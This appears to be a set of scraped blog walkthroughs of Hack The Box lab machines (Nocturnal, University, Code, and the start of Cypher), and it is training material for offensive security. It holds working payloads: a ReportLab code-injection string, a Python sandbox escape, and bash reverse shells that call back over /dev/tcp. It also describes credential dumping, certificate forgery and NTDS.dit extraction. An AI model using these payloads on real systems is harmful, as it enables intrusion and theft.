|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  9 04:56:46 2025 -- 1 IP address (1 host up) scanned in 54.95 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu, providing secure shell access for remote login. The server exposes RSA, ECDSA, and ED25519 host keys.
  • Port 80 (HTTP): Nginx 1.18.0 serving the web application on Ubuntu. The HTTP title did not follow the redirect to http://nocturnal.htb/, indicating the presence of a web interface.

Web Enumeration:

Web Application Exploration:

The website interface appears as shown above.

Tried logging in with the credentials admin:admin, but it failed.

Here’s a smoother version:

Sadly, the credentials are invalid.

Attempted to register a new account using dark:dark, but received a β€œfailed to register user” error.

However, account creation succeeded with test:test, which was unusual. Further troubleshooting revealed that both the username and password must contain more than six characters in total.

We were redirected to a file upload page.

Before proceeding, let’s attempt to upload a simple text file.

The upload failed because only certain file formats are allowed.

Therefore, let’s try uploading a random PDF file to the application.

In Burp Suite, it appears as shown above.

We successfully uploaded the PDF file, as shown in the screenshot above. Clicking on the uploaded file opens a PDF editor.

As shown above, the response is displayed when attempting to access the uploaded file.

Tried accessing with the admin user, but it returned a β€œFile does not exist” error.

Capture the packet request using Burp Suite

This FFUF command uses a saved HTTP request (req.req) to fuzz inputs from names.txt over HTTP, ignoring responses with a body size of 2985 bytes.

The fuzzing results revealed three valid usernames: admin, tobias, and amanda.

The URL http://nocturnal.htb/view.php?username=amanda&file=small.odt shows that file access is controlled through query parameters, which may expose the application to IDOR vulnerabilities if manipulated.

I presume it is just a normal PDF file content.

Let’s download the file to our machine for further analysis.

The file is formatted as an OpenDocument Text.

Opening the .odt file for further examination.

Surprisingly, the file does not open in OpenOffice but instead opens with a ZIP application.

As a result, let’s extract the file on our machine.

What is xmllint?

xmllint is a tool used to open and read XML files, which are special text files that store structured information. These files can be difficult to read normally, but xmllint makes them easier to understand by organising the text. In this case, it allowed us to look inside the file and discover hidden information, such as a password.

Using the xmllint command, we can read the file as shown above.

In the content.xml file, we can use xmllint to read the contents and identify the password (arHkG7HAI68X8s1J).

Attempted to connect to the machine via SSH using the credentials, but the login failed.

Earlier attempts using pwncat-cs and SSH both failed to establish access.

As a result, we proceeded to test it through the dashboard.

Unexpectedly, the attempt was successful, allowing us to upload files as the Amanda user.

There is an Admin Panel button located at the top of the interface.

No interesting files were found upon clicking the Admin Panel link.

There is a field that requires entering a password to access the backup.

Creating a password grants access to a collection of files for review.

We can download the file.

In Burp Suite, it appears as shown above.

Entered Amanda’s password, but the system returned an β€œincorrect password” message.

However, we successfully unzipped the file using the password we created earlier.

Looking inside the backup directory, nothing of interest was found.

After further consideration, we attempted to enter a reverse shell payload into the password field.

Finally, we successfully obtained a www-data shell.

Nothing was missing from the file we downloaded.

There is a nocturnal_database directory present.

Let’s proceed to access the database.

We retrieved password hashes from the database.

One of the hashes was successfully cracked, revealing the password slowmotionapocalypse.

It was determined that the hashes belong to the user tobias.

We obtained the user flag by running the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

There are no usable binaries available in this environment.

While checking the open ports with netstat -an, we discovered that port 8080 is open on the machine.

Setting up port forwarding for the previously identified port.

The service running on the forwarded port is ISPConfig.

Understanding ISPConfig: The Web Hosting Control Panel

ISPConfig is a web-based control panel used to manage websites, email accounts, and servers. It allows administrators to easily configure and control these services through a user-friendly interface, without needing to use complex commands. Think of it as a central dashboard for managing web hosting services.

Attempted to use Tobias’s password, but the login failed.

The admin password was successful.

Accessed the ISPConfig dashboard successfully.

The ISPConfig version was identified from the source code.

Alternatively, the version was also found in the Help section.

Let’s investigate the ISPConfig version 3.2.10p1 vulnerability that corresponds to CVE-2023-46818.

CVE-2023-46818: PHP Code Injection Vulnerability in ISPConfig 3.2.10p1

CVE-2023-46818 is a high-severity PHP code injection vulnerability affecting ISPConfig versions before 3.2.11p1. It occurs when the admin_allow_langedit setting is enabled, allowing authenticated administrators to inject and execute arbitrary PHP code via the language file editor. The flaw stems from improper sanitisation of user input in the records POST parameter of /admin/language_edit.php.

The vulnerability has a CVSS 3.1 base score of 7.2 (High), posing a significant risk. Successful exploitation can lead to full server compromise, enabling attackers to steal sensitive data, install malware, or disrupt services.

To mitigate this issue, it is recommended to upgrade to ISPConfig version 3.2.11p1 or later. Alternatively, disabling the language editor by setting admin_allow_langedit=no in /usr/local/ispconfig/security/security_settings.ini can prevent exploitation.v

Downloaded the exploit to our machine and executed it.

We obtained the root flag by running the command cat root.txt.

The post Hack The Box: Nocturnal Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.

Hack The Box: University Machine Walkthrough – Insane Walkthrough

βœ‡Threatninja.net
By: darknite
9 August 2025 at 10:58
Reading Time: 17 minutes

Introduction to University:

The β€œUniversity” machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSec’s, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.

Objectives

  • User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
  • Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administrator’s hash.

Reconnaissance

Reconnaissance identifies services and attack vectors in the AD environment.

Initial Network Scanning

Scan all ports to map services.

Command: 

nmap -sC -sV 10.10.11.39 -oA initial

Output: 

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

Analysis:

  • Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
  • Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
  • Port 53: DNS service associated with Active Directory.
  • Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.

Web Exploitation

ReportLab RCE (CVE-2023-33733)

Exploit ReportLab’s RCE vulnerability in /profile’s PDF export to gain a wao shell.

When I accessed the web server, I saw a minimalistic and straightforward interface.

A screenshot of a login page AI-generated content may be incorrect.

Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer

A blue background with white text AI-generated content may be incorrect.

Consequently, a new β€˜Student’ account was created to further enumerate the application, given that this role appeared to be publicly accessible.

A screenshot of a login form AI-generated content may be incorrect.

Random placeholder information filled the registration fields, as illustrated in the example above

A screenshot of a login screen AI-generated content may be incorrect.

We enter the credentials we created earlier.

A screenshot of a computer AI-generated content may be incorrect.

Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.

A screenshot of a social media account AI-generated content may be incorrect.

The section labelled β€˜Profile Export’ appeared promising for exploring potential functionality or vulnerabilities

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The PDF report uses a clear and concise format, modeled after the examples provided above

Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb

A screenshot of a computer screen AI-generated content may be incorrect.

While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement

During the SolarLab machine exercise, the exploitation process resembled the steps outlined below

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Therefore, the team retested the exploit on the current machine to confirm its applicability.

A screen shot of a computer AI-generated content may be incorrect.

Let’s start our Python server listener

A screenshot of a computer AI-generated content may be incorrect.

The exploitation method follows the general approach illustrated below

A screenshot of a computer AI-generated content may be incorrect.

The profile was updated successfully.

A screen shot of a computer AI-generated content may be incorrect.

A lack of response from the target indicated a failure

A screenshot of a social media account AI-generated content may be incorrect.

It may be necessary to trigger the action by clicking the β€œProfile Export” button

A screen shot of a computer AI-generated content may be incorrect.

As expected, triggering the action returned a response.

A screenshot of a computer AI-generated content may be incorrect.

Refined and updated the payload to achieve the intended outcome.

A screen shot of a computer AI-generated content may be incorrect.

We received a response, but the file was missing

A screen shot of a computer AI-generated content may be incorrect.

Let’s start the listener.

A screenshot of a computer AI-generated content may be incorrect.

We executed a Python3 reverse shell script to establish a callback connection.

A screen shot of a computer AI-generated content may be incorrect.

Unfortunately, I received no response from the target

A screenshot of a computer AI-generated content may be incorrect.

I also conducted a test using a Base64-encoded PowerShell command.

A screen shot of a computer AI-generated content may be incorrect.

Once again, there was no response from the target

Troubleshooting and Resolution Steps on University machine

A computer screen shot of a computer AI-generated content may be incorrect.

The team adjusted the command and subsequently tested its effectiveness.

A computer screen with green text AI-generated content may be incorrect.

The callback succeeded this time, returning the shell.py file from the server.

A computer screen with green text AI-generated content may be incorrect.

The result exceeded expectations.

A black background with green text AI-generated content may be incorrect.

Access was successfully obtained for user β€˜wao’.

BloodHound enumeration

Since we are using a Windows machine, let’s proceed to analyse BloodHound.

There is a significant amount of information here.

WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.

By examining the browse.w connection, we were able to gather a substantial amount of information.

Enumerate the machine as WAO access on the University machine

A screenshot of a computer AI-generated content may be incorrect.

The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.

In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authority’s trust chain.

Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.

SQLite database enumeration on university machine

Download the db.sqlite3 file to our local machine.

The screenshot above displays the available tables in the database.

Therefore, these hashes can be cracked at a later stage to uncover additional credentials.

Reviewing the Database Backups

A screenshot of a computer screen AI-generated content may be incorrect.

We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.

A computer screen with green text AI-generated content may be incorrect.

Although the script doesn’t specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that account’s permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.

A screenshot of a computer AI-generated content may be incorrect.

After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although it’s not best practice, it’s common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.

The term β€œInternal-VSwitch1” typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.

An β€œInternal” virtual switch in Hyper-V does not have an IP address itself; rather, the host’s virtual network adapter connected to that internal switch will have an IP address.

SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.

Let’s transfer the nmap binary to the victim’s machine

The team successfully executed the nmap scan on the victim’s machine

We encountered an error that required us to use the– unprivileged option for successful execution.

Unfortunately, the command still fails to work even after adding the –unprivileged option.

Therefore, at this point, let’s switch to using an alternative scanning tool like rustscan.

Finally, we successfully identified the open ports for the machines:

  • 192.168.99.12 has port [22] open.
  • 192.168.99.1 has ports [53, 80, 88, 593, 135, 139, 139, 445, 389, 636, 3268, 3269, 5985, 5985] open.
  • 192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.

Stowaway usage

Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.

It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.

The following commands are available to use:

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

Upload the agent onto the victim’s machine.

Run the command I provided earlier.

If the connection is successful, it will appear as shown in the screenshot above.

Therefore, let’s perform port forwarding using the ports we identified earlier.

We can access WS-3 using the credentials obtained earlier.

Access as wao windows

Finally, we successfully gained access.

We also successfully accessed the LAB-2 environment.

The binary we discovered here indicates that we can escalate to root access easily without relying on an exploit.

I presume we have root access inside the Docker container.

Analyze the machine on University machine

Inside the README.txt file, the message reads:

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

There’s nothing of interest that I found inside here related to the LAB-2 environment.

Automation-Scripts on University machine

There is an Automation-Scripts directory that could potentially contain malicious code.

There are two PowerShell (.ps1) files we can examine within the Automation-Scripts directory.

Unfortunately, all access attempts were denied.

The date is displayed above.

The Forgotten Campus – Rediscovering the University Web

A screenshot of a login page AI-generated content may be incorrect.

The login page features a signed certificate.

A Certificate Signing Request (CSR) file is required to proceed further.

Execute the openssl req command.

A CSR file needs to be generated.

Use the following command to sign the CSR and generate the certificate:

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

This command takes the CSR file My-CSR.csr, signs it using the CA’s certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesn’t exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.

Finally, we have provided the george.pem file.

Access as George on dashboard

Use the george.pem file to attempt the login.

Finally, we successfully accessed the system as george.

It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professor’s CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.

Log out again, then use the signed-cert.pem file to log back in. You should be able to click on β€œCreate a New Course” without encountering any errors.

Create course on dashboard

You can now create a courseβ€”just write something, and after creating it, you will find an option at the bottom to add a new lecture.

Lastly, the Course Dashboard is displayed above.

The new course has been created successfully. Check out the Course Dashboard above to explore it.

There are three functions available within course preferences.

Let’s add a new lecture to the course.

Executing the command provided above.

Develop a malicious executable file.

Set up a new folder and upload the malicious file to it.

Generate the passphrase.

The command gpg -u george –detach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID β€œgeorge” with the -u flag, the command employs George’s private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.

Add a new course here.

The command gpg –export -a β€œgeorge” > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID β€œgeorge” in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for β€œgeorge.”

Upload the file to the dashboard.

An error is displayed above stating β€œInvalid Lecture Integrity.”

Upload the public key here.

Upload the public key successfully

Start the listener in LAB-2.

Access as Martin.T on Lab-2 environment

After a short while, we successfully receive a reverse shell connection.

We successfully gained access to the system as the user martin.t

The user flag has been successfully retrieved.

We can read the user flag by typing type user.txt

Escalate to Root Privilleges Access

Privileges Access

SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.

Investigate further on University machine

We can retrieve scheduled tasks using the Get-ScheduledTask command.

It has been saved as shown above

There are numerous tasks with the states β€˜READYβ€˜ and β€˜DISABLEDβ€˜.

This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.

This PowerShell command retrieves all the actions associated with the scheduled task named β€œContent Evaluator(Professor Simulatorr)” and formats the output as a detailed list showing every property of those actions.

LocalPotato vulnerability

We attempted to execute the LocalPotato exploit, but unfortunately, it failed.

The exploit succeeded when executed using PowerShell

We extracted the system information onto the victim’s machine.

Access as Brose.w privileges

We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X

Let’s access the machine as Brose.W using the credentials we obtained earlier.

All privileges are accessible on this account.

Create a new directory using the appropriate command.

Take advantage of diskshadow

This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. It’s useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.

The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. It’s commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.

SebackupPrivilege exploit

Identified a website that can potentially be leveraged for privilege escalation.

Upload both files to the victim’s machine.

These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit fileβ€”a database containing Active Directory dataβ€”from the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.

Those files were downloaded to the local machine

Root flag view

We obtained the password hashes for the Administrator account

We can read the root flag by displaying the contents of the type root.txt file.

The post Hack The Box: University Machine Walkthrough – Insane Walkthrough appeared first on Threatninja.net.

Hack The Box: Code Machine Walkthrough – Easy Difficulity

βœ‡Threatninja.net
By: darknite
2 August 2025 at 10:58
Reading Time: 9 minutes

Introduction to Code:

In this write-up, we will explore the β€œCode” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCode” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a web application’s code execution vulnerability by bypassing restricted keywords through Python class enumeration. Gain a reverse shell as the app-production user and read the user.txt flag from the user’s home directory.

Root Flag: From the app-production shell, access a SQLite database in the /app directory, extract and crack the martin user’s password, and switch to martin. Identify that martin can run a backup script as root. Create a malicious JSON file to include the /root/ directory in a backup, extract it, and read the root.txt flag.

Enumerating the Code Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.62

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.11.62

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/code]
└──╼ $nmap -sV -sC -oA initial 10.10.11.62 
# Nmap 7.94SVN scan initiated Mon Jul 21 18:11:21 2025 as: nmap -sV -sC -oA initial 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 21 18:12:09 2025 -- 1 IP address (1 host up) scanned in 48.11 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access. It allows administrators to log in and manage the server using encrypted connections securely.
  • Port 5000 (HTTP): A web application is running on this port using Gunicorn 20.0.4, a Python-based web server. The site appears to be a Python Code Editor, according to the page title.

Web Enumeration:

Exploitation

Web Application Exploration:

The web interface includes a code execution feature.

We are attempting to run the following code. However, before executing it, we need to ensure all prerequisites are met. Once these conditions are satisfied, the code can be executed as intended.

import os
print(os.system("echo Hello, world!"))

Results in the following error: β€œThe use of restricted keywords is not permitted.”

Troubleshooting Issues on the Code Machine

To bypass this, enumerate Python classes to access restricted functions:

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

Python Class Enumeration Output

The following Python classes were identified during enumeration to bypass restricted keywords on the β€œCode” machine.

Import and Module Classes

# 80 <class '_frozen_importlib._ModuleLock'>
# 81 <class '_frozen_importlib._DummyModuleLock'>
# 82 <class '_frozen_importlib._ModuleLockManager'>
# 83 <class '_frozen_importlib.ModuleSpec'>
# 99 <class '_frozen_importlib_external.FileLoader'>
# 100 <class '_frozen_importlib_external._NamespacePath'>
# 101 <class '_frozen_importlib_external._NamespaceLoader'>
# 103 <class '_frozen_importlib_external.FileFinder'>
# 104 <class 'zipimport.zipimporter'>
# 105 <class 'zipimport._ZipImportResourceReader'>

These classes relate to Python’s import and module loading mechanisms.

Codec and OS Classes

# 107 <class 'codecs.IncrementalEncoder'>
# 108 <class 'codecs.IncrementalDecoder'>
# 109 <class 'codecs.StreamReaderWriter'>
# 110 <class 'codecs.StreamRecoder'>
# 132 <class 'os._wrap_close'>

These involve encoding/decoding and OS operations.

Builtins and Type Classes

# 133 <class '_sitebuiltins.Quitter'>
# 134 <class '_sitebuiltins._Printer'>
# 136 <class 'types.DynamicClassAttribute'>
# 137 <class 'types._GeneratorWrapper'>
# 138 <class 'warnings.WarningMessage'>
# 139 <class 'warnings.catch_warnings'>

This enumeration reveals classes such as Quitter (index 133), which was utilised to execute commands.

Utility and Context Classes

# 166 <class 'reprlib.Repr'>
# 174 <class 'functools.partialmethod'>
# 175 <class 'functools.singledispatchmethod'>
# 176 <class 'functools.cached_property'>
# 178 <class 'contextlib._GeneratorContextManagerBase'>
# 179 <class 'contextlib._BaseExitStack'>

These handle representation and context management.

Regex and Threading Classes

# 185 <class 'sre_parse.State'>
# 186 <class 'sre_parse.SubPattern'>
# 187 <class 'sre_parse.Tokenizer'>
# 188 <class 're.Scanner'>
# 189 <class '__future__._Feature'>
# 192 <class '_weakrefset._IterationGuard'>
# 193 <class '_weakrefset.WeakSet'>
# 194 <class 'threading._RLock'>
# 195 <class 'threading.Condition'>
# 196 <class 'threading.Semaphore'>
# 197 <class 'threading.Event'>
# 198 <class 'threading.Barrier'>
# 199 <class 'threading.Thread'>

These support regex parsing and threading.

Executing Commands

Capturing Command Output

Execute the whoami command using the Quitter class, resulting in an output code of 0, indicating successful execution.

Next, capture the whoami output using the subprocess module.

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['whoami'], capture_output=True).stdout.decode()"
    )
)

The execution of the command produced the output app-production, indicating the current user context under which the process is running.

Establishing a Reverse Shell

To establish a reverse shell:

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.116/9007 0>&1'], shell=True)'
    )
)

The command executed successfully and returned a CompletedProcess object with the arguments [β€˜bash’, β€˜-c’, β€˜bash -i >& /dev/tcp/10.10.14.116/9007 0>&1β€˜] and a return code of 0, indicating unsuccessful execution.

It was time to list the available attributes and methods of the int class.

Utilise subprocess.Popen (located at index 317) to initiate a reverse shell connection:

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.116/9007 0>&1"]
)

Using subprocess.PopenUsing subprocess.Popen

This command initiates a reverse shell connection by spawning a Bash process that connects back to the specified IP address and port.

A response was successfully received from the reverse shell connection.

Once shell access is obtained, proceed to locate and read the user flag.

Escalate to Root Privileges

Privilege Escalation:

Let’s explore the app directory, which includes the folders and files

Within the instance directory, there is a file named database.db.

SQLite3 Database Enumeration on the Code Machine

Therefore, let’s run the command sqlite3 database.db to interact with the database.

The database contains two tables.

We need to extract the stored hashes from the SQLite database using sqlite3.

The screenshot above displays the extracted hashes.

Hashcat Password Cracking Process

It is uncommon to obtain a complete set of cracked hashes as shown here.

Switching to Martin

By using the previously cracked password, we can now authenticate as the user Martin. Consequently, this allows us to gain access with Martin’s privileges and proceed with further actions.

Exploring and Testing the backy.sh Script

When running sudo -l, we discovered the presence of the /usr/bin/backy.sh script.

The backy.sh script streamlines folder backups on Linux. First, it demands a JSON settings file listing folders to back up. However, without a valid file, it halts and shows an error. Moreover, it restricts backups to /var/ or /home/ directories, thus blocking unauthorized paths. Additionally, it sanitizes folder lists to prevent security breaches. Once verified, it triggers the backy tool for the backup. Ultimately, backy.sh ensures safe, controlled backups, thwarting misuse.

Creating a Malicious JSON File on Code Machine

When Martin tries to run the /usr/bin/backy.sh script with sudo, the system immediately responds by showing how to use the script properlyβ€”specifically, it requires a file named task.json as input. Therefore, the script won’t run without the correct instructions. This highlights the importance of providing the right parameters when executing commands with elevated privileges, ensuring that the intended actions are performed safely and correctly.

The original /usr/bin/backy.sh file is a script that requires a JSON task file as an argument to run properly. Without this input, it displays a usage message and does not perform any actions.

Our modified version of the script uses dark.json as the input task file to execute specific commands or actions defined within that JSON, allowing us to leverage the script’s functionality with custom instructions.

We successfully obtained the tar.bz2 file, but encountered issues that prevented us from extracting or using it.

Perhaps using the correct task.json file is necessary to properly execute the script and avoid errors.

Our goal should be to directly obtain the file itself for proper use or analysis.

It appears that we have successfully accessed the root/ directory.

The script likely didn’t work earlier because it required a specific input file (task.json) to function correctly, and running it without this file caused it to display the usage instructions instead of executing the intended tasks.

The post Hack The Box: Code Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy

βœ‡Threatninja.net
By: darknite
26 July 2025 at 10:58
Reading Time: 9 minutes

Introduction to Cypher:

In this write-up, we will explore the β€œCypher” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCypher” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a vulnerable Neo4j database by injecting a Cypher query to extract a password hash, authenticate via SSH, and retrieve the user flag.

Root Flag: Leverage a misconfigured bbot binary with sudo privileges to execute a command that sets the SUID bit on /bin/bash, granting root access to capture the root flag.

Enumerating the Cypher Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.57

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.57

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.57
# Nmap 7.94SVN scan initiated Sun Jul 20 11:35:15 2025 as: nmap -sC -sV -oA initial 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

